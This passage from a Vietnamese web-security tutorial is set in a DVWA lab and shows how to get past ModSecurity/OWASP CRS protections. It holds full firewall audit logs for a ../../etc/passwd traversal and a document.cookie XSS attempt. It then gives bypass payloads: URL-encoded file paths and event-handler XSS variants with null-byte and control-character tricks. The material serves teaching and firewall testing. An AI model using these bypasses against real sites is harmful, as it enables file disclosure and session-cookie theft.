Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Pattern match "(?:^|[\\/])\\.\\.(?:[\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 43)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 43 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 43, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?:^|[\\\\\\\\/])\\\\\\\\.\\\\\\\\.(?:[\\\\\\\\/]|$)" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: ../../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 43)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 43 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 43, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/fi/"] [unique_id "ZnPoj6IdlbwW3kre-lJF8AAAAAI"]
Action: Intercepted (phase 2)
Stopwatch: 1718872207342415 2071 (- - -)
Stopwatch2: 1718872207342415 2071; combined=1630, p1=360, p2=1172, p3=0, p4=0, p5=98, sr=72, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"
--023cda21-Z--
Bypass
Giả sử chúng ta đang cố gắng truy cập một file nhạy cảm trong thư mục /opt.
Sử dụng các request sau, chúng ta thấy rằng truy cập bị chặn:
?page=/opt/sensitive_file
?page=../../../../../../opt/sensitive_file
Cả hai cách tiếp cận đều không cung cấp quyền truy cập.
Trong tình huống này, chúng ta cần thử các kết hợp khác nhau để bypass bộ lọc của WAF. Ví dụ, thay thế ký tự / bằng \ có thể giúp ích, nhưng trong nhiều trường hợp, mã hóa URL có thể bypass bộ lọc một cách hiệu quả.
Bằng cách mã hóa URL đường dẫn, chúng ta có thể bypass bộ lọc WAF:
?page=%2Fopt%2Fsensitive%5Ffile
VI.Cross-Site Scripting (XSS)
XSS là một cuộc tấn công khai thác lỗ hổng bảo mật trong ứng dụng web, cho phép kẻ tấn công thực thi mã độc hại trong trình duyệt của người dùng khác. Mã này thường ở dạng JavaScript và có thể được sử dụng cho nhiều mục đích khác nhau như đánh cắp session cookie, thay đổi giao diện của trang web, hoặc tải malware xuống máy tính của người dùng.
Các Loại Tấn Công XSS:
Reflected XSS: Kẻ tấn công gửi mã độc hại đến ứng dụng web thông qua URL hoặc dữ liệu form. Ứng dụng phản chiếu mã này trở lại trình duyệt của người dùng mà không có lọc hoặc sanitize đúng cách, và mã được thực thi trong trình duyệt của người dùng.
Stored XSS: Kẻ tấn công đặt mã độc hại vĩnh viễn vào cơ sở dữ liệu của ứng dụng web hoặc khu vực lưu trữ khác. Mã này được include trong các trang được xem bởi người dùng khác và được thực thi trong trình duyệt của những người dùng đó.
DOM Based XSS: Kẻ tấn công chèn mã độc hại vào DOM (Document Object Model) của trang web thông qua mã JavaScript phía client. Mã này được kích hoạt trong quá trình tương tác của người dùng hoặc tải trang và được thực thi trong trình duyệt của người dùng.
Hậu Quả của Tấn Công XSS:
- Đánh Cắp Session Cookie: Kẻ tấn công đánh cắp session cookie của người dùng, cho phép họ chiếm đoạt tài khoản người dùng và mạo danh người dùng.
- Tải Malware: Kẻ tấn công có thể tải phần mềm độc hại xuống máy tính của người dùng.
- Thay Đổi hoặc Xóa Dữ Liệu: Kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu trong ứng dụng web.
- Kiểm Soát Trình Duyệt của Người Dùng: Kẻ tấn công có thể kiểm soát trình duyệt của người dùng, thực hiện các hành động khác nhau thay mặt người dùng.
Ví dụ, mã nguồn Reflected XSS chạy trên DVWA như sau:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
Nếu chúng ta muốn sử dụng một function như onmouseover mà không có WAF, không có vấn đề gì:
<a onmouseover=alert(document.cookie)>xss link</a>
WAF Phát Hiện
--ef51fc35-A--
[20/Jun/2024:08:29:09.742174 +0000] ZnPoVXd3yPqHxvRTqwtXAAAAAAQ ATTACKER_IP 54152 VICTIM_IP 80
--ef51fc35-B--
GET /DVWA/vulnerabilities/xss_r/?name=%3Ca+onmouseover%3Dalert%28document.cookie%29%3Exxs+link%3C%2Fa%3E HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://VICTIM_IP/DVWA/vulnerabilities/xss_r/
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1
--ef51fc35-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
--ef51fc35-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>
--ef51fc35-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "55"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Pattern match "(?i)[\\s\"'`;\\/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]+[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "108"] [id "941120"] [msg "XSS Filter - Category 2: Event Handler Vector"] [data "Matched Data: onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Pattern match "(?i:(?:<\\w[\\s\\S]*[\\s\\/]|['\"](?:[\\s\\S]*[\\s\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ..." at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "199"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: <a onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Warning. Matched phrase "document.cookie" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "250"] [id "941180"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: document.cookie found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 23)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 23 - SQLI=0,XSS=20,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 23, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "55"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i)[\\\\\\\\s\\\\"'`;\\\\\\\\/0-9=\\\\\\\\x0B\\\\\\\\x09\\\\\\\\x0C\\\\\\\\x3B\\\\\\\\x2C\\\\\\\\x28\\\\\\\\x3B]on[a-zA-Z]+[\\\\\\\\s\\\\\\\\x0B\\\\\\\\x09\\\\\\\\x0C\\\\\\\\x3B\\\\\\\\x2C\\\\\\\\x28\\\\\\\\x3B]*?=" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "108"] [id "941120"] [msg "XSS Filter - Category 2: Event Handler Vector"] [data "Matched Data: onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "(?i:(?:<\\\\\\\\w[\\\\\\\\s\\\\\\\\S]*[\\\\\\\\s\\\\\\\\/]|['\\\\"](?:[\\\\\\\\s\\\\\\\\S]*[\\\\\\\\s\\\\\\\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ..." at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "199"] [id "941160"] [msg "NoScript XSS InjectionChecker: HTML Injection"] [data "Matched Data: <a onmouseover= found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Matched phrase "document.cookie" at ARGS:name. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "250"] [id "941180"] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: document.cookie found within ARGS:name: <a onmouseover=alert(document.cookie)>xxs link</a>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 23)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 23 - SQLI=0,XSS=20,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 23, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/xss_r/"] [unique_id "ZnPoVXd3yPqHxvRTqwtXAAAAAAQ"]
Action: Intercepted (phase 2)
Stopwatch: 1718872149740697 1513 (- - -)
Stopwatch2: 1718872149740697 1513; combined=1236, p1=292, p2=874, p3=0, p4=0, p5=70, sr=56, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"
--ef51fc35-Z--
Bypass
Vì mục tiêu ở đây là bypass JavaScript, chúng ta có thể khám phá ra nhiều phương pháp. Tuy nhiên, đối với WAF lọc onxxx, các kỹ thuật bypass hiệu quả nhất như sau:
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
<img src='1' onerror/=alert(0) />
...
Ví dụ,
<object onafterscriptexecute=confirm(0)>
Bằng cách làm này, bạn có thể thấy rằng WAF đã được bypass.
VII.Tiêm nhiễm SQL (SQL Injection - SQLi)
Tổng quan
